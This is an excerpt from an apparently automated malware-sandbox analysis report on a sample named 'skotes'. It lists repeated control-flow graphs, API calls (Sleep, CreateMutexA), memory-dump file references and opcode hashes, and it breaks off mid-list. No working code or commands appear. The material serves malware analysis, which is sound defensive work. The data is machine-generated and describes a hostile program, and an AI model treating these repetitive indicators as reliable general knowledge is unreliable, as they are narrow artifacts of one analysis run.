                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 56 a8a079-a8a099 60 a8a09b-a8a0a7 56->60 61 a8a0c7-a8a0e3 56->61 64 a8a0a9-a8a0b7 60->64 65 a8a0bd-a8a0c4 call a9d663 60->65 62 a8a111-a8a130 61->62 63 a8a0e5-a8a0f1 61->63 69 a8a15e-a8a916 call a980c0 62->69 70 a8a132-a8a13e 62->70 67 a8a0f3-a8a101 63->67 68 a8a107-a8a10e call a9d663 63->68 64->65 71 a8a930 64->71 65->61 67->68 67->71 68->62 76 a8a140-a8a14e 70->76 77 a8a154-a8a15b call a9d663 70->77 73 a8a953-a8a994 Sleep CreateMutexA 71->73 74 a8a930 call ab6c6a 71->74 85 a8a996-a8a998 73->85 86 a8a9a7-a8a9a8 73->86 74->73 76->71 76->77 77->69 85->86 88 a8a99a-a8a9a5 85->88 88->86
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNELBASE(00000064), ref: 00A8A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNELBASE(00000000,00000000,00AE3254), ref: 00A8A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000002.00000002.2214523787.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214502356.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214523787.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214612212.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214645216.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214673923.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214810548.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214841740.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214924670.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214952810.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214990867.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215020428.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215044160.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215070387.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215094268.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215120797.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215153413.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215181596.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215209420.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215246942.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215281308.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215319144.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215348783.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215376246.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215405508.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215431175.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215458256.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215481683.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215507300.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215531277.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215557777.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215586505.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215616017.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215712980.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215740578.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215767067.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215792030.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215820626.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215843709.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215875621.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215898213.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_2_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: 9c9773ab439de5f61c47dc591a9036dfbc2d964f19d0d6937f1c95c4ff3c4da2
                                                                                                                                                                                                                                                              • Instruction ID: 4e674a0edfdd4ee77b32e307626fb5469ae8f00c4ab3a9e95e269cdaf2d4266a
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 9c9773ab439de5f61c47dc591a9036dfbc2d964f19d0d6937f1c95c4ff3c4da2
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F7312632B141049BFF08EBB8CDC9BADB772EBA1314F24821EE114973D5C73A99818712
                                                                                                                                                                                                                                                              Function 00A8A1AE Relevance: 3.1, APIs: 2, Instructions: 135sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 90 a8a1ae-a8a1ce 94 a8a1fc-a8a218 90->94 95 a8a1d0-a8a1dc 90->95 98 a8a21a-a8a226 94->98 99 a8a246-a8a265 94->99 96 a8a1de-a8a1ec 95->96 97 a8a1f2-a8a1f9 call a9d663 95->97 96->97 100 a8a935 96->100 97->94 102 a8a228-a8a236 98->102 103 a8a23c-a8a243 call a9d663 98->103 104 a8a293-a8a916 call a980c0 99->104 105 a8a267-a8a273 99->105 107 a8a953-a8a994 Sleep CreateMutexA 100->107 108 a8a935 call ab6c6a 100->108 102->100 102->103 103->99 111 a8a289-a8a290 call a9d663 105->111 112 a8a275-a8a283 105->112 119 a8a996-a8a998 107->119 120 a8a9a7-a8a9a8 107->120 108->107 111->104 112->100 112->111 119->120 122 a8a99a-a8a9a5 119->122 122->120
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNELBASE(00000064), ref: 00A8A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNELBASE(00000000,00000000,00AE3254), ref: 00A8A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000002.00000002.2214523787.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214502356.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214523787.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214612212.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214645216.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214673923.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214810548.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214841740.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214924670.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214952810.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214990867.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215020428.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215044160.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215070387.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215094268.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215120797.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215153413.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215181596.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215209420.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215246942.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215281308.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215319144.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215348783.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215376246.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215405508.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215431175.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215458256.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215481683.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215507300.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215531277.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215557777.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215586505.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215616017.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215712980.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215740578.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215767067.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215792030.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215820626.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215843709.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215875621.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215898213.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_2_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: 0fef7aeee4b9a0520fb8fc68ac63f011b97ceba363e423c27456c4de0000f6a1
                                                                                                                                                                                                                                                              • Instruction ID: 7a15416f097e1c6b855b25a2867c57a96705dbac6f295632ca89b1220fb7930b
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 0fef7aeee4b9a0520fb8fc68ac63f011b97ceba363e423c27456c4de0000f6a1
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 63311631B041409BFF18EBB8DD89BADB762ABE6310F24821AE114973D1D77699818712
                                                                                                                                                                                                                                                              Function 00A8A418 Relevance: 3.1, APIs: 2, Instructions: 133sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 124 a8a418-a8a438 128 a8a43a-a8a446 124->128 129 a8a466-a8a482 124->129 130 a8a448-a8a456 128->130 131 a8a45c-a8a463 call a9d663 128->131 132 a8a4b0-a8a4cf 129->132 133 a8a484-a8a490 129->133 130->131 134 a8a93f-a8a994 call ab6c6a * 4 Sleep CreateMutexA 130->134 131->129 138 a8a4fd-a8a916 call a980c0 132->138 139 a8a4d1-a8a4dd 132->139 136 a8a492-a8a4a0 133->136 137 a8a4a6-a8a4ad call a9d663 133->137 160 a8a996-a8a998 134->160 161 a8a9a7-a8a9a8 134->161 136->134 136->137 137->132 144 a8a4df-a8a4ed 139->144 145 a8a4f3-a8a4fa call a9d663 139->145 144->134 144->145 145->138 160->161 162 a8a99a-a8a9a5 160->162 162->161
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNELBASE(00000064), ref: 00A8A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNELBASE(00000000,00000000,00AE3254), ref: 00A8A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000002.00000002.2214523787.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214502356.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214523787.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214612212.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214645216.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214673923.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214810548.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214841740.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214924670.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214952810.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214990867.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215020428.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215044160.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215070387.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215094268.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215120797.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215153413.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215181596.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215209420.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215246942.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215281308.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215319144.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215348783.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215376246.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215405508.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215431175.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215458256.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215481683.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215507300.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215531277.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215557777.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215586505.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215616017.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215712980.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215740578.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215767067.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215792030.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215820626.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215843709.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215875621.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215898213.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_2_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: 2212b536e7f1fcb9f89c782b55bf3acef51cef5a8179808b382114b7c1559621
                                                                                                                                                                                                                                                              • Instruction ID: 9fed3998b52f07cd27fbb6ffc4a78dc9d1b9f4f1872957c522d084dcbbc03c5a
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2212b536e7f1fcb9f89c782b55bf3acef51cef5a8179808b382114b7c1559621
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 93312931B04100DBFF08BBB8D989BADB762EBE1314F20821AE1549B3D5D77959818752
                                                                                                                                                                                                                                                              Function 00A8A54D Relevance: 3.1, APIs: 2, Instructions: 132sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 164 a8a54d-a8a56d 168 a8a59b-a8a5b7 164->168 169 a8a56f-a8a57b 164->169 172 a8a5b9-a8a5c5 168->172 173 a8a5e5-a8a604 168->173 170 a8a57d-a8a58b 169->170 171 a8a591-a8a598 call a9d663 169->171 170->171 174 a8a944-a8a994 call ab6c6a * 3 Sleep CreateMutexA 170->174 171->168 176 a8a5db-a8a5e2 call a9d663 172->176 177 a8a5c7-a8a5d5 172->177 178 a8a632-a8a916 call a980c0 173->178 179 a8a606-a8a612 173->179 198 a8a996-a8a998 174->198 199 a8a9a7-a8a9a8 174->199 176->173 177->174 177->176 184 a8a628-a8a62f call a9d663 179->184 185 a8a614-a8a622 179->185 184->178 185->174 185->184 198->199 200 a8a99a-a8a9a5 198->200 200->199
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNELBASE(00000064), ref: 00A8A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNELBASE(00000000,00000000,00AE3254), ref: 00A8A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000002.00000002.2214523787.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214502356.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214523787.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214612212.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214645216.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214673923.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214810548.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214841740.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214924670.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214952810.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214990867.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215020428.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215044160.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215070387.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215094268.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215120797.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215153413.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215181596.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
